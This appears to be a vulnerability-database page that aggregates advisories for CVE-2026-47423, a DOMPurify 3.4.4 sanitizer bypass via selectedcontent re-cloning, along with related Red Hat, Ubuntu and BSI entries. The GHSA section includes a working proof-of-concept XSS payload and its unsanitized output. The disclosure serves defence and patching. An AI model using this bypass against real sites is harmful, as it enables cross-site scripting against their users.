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EUVD-2026-338257

fkie_cve-2026-47423

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside <selectedcontent> is returned. This issue is fixed in version 3.4.5.

GHSA-87xg-pxx2-7hvx — DOMPurify XSS via selectedcontent re-clone

Affected: npm: dompurify

### Summary DOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

### Details The chain is as follows: 1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>` 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1` 4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside `<selectedcontent>`.

### PoC ```js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>';

const clean = DOMPurify.sanitize(dirty); console.log(clean);

document.body.innerHTML = clean; ```

Observed "sanitized" output in Chromium 148/WebKit 625: ```html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select> ```

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired: ```html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select> ```…

RHSA-2026:10999 — Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

nix: coroutine stack-to-heap overflow via unbounded recursion in NAR directory parser nix: absolute path traversal when unpacking archives to disk dompurify: DOMPurify: Cross-site scripting vulnerability allows information disclosure

UBUNTU-CVE-2026-47423

Affected: Ubuntu:16.04:LTS: dompurify.js, Ubuntu:18.04:LTS: dompurify.js, Ubuntu:22.04:LTS: node-dompurify, Ubuntu:24.04:LTS: node-dompurify, Ubuntu:26.04:LTS: node-dompurify

WID-SEC-W-2026-2910 — IBM App Connect Enterprise: Schwachstelle ermöglicht Cross-Site Scripting

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in IBM App Connect Enterprise ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.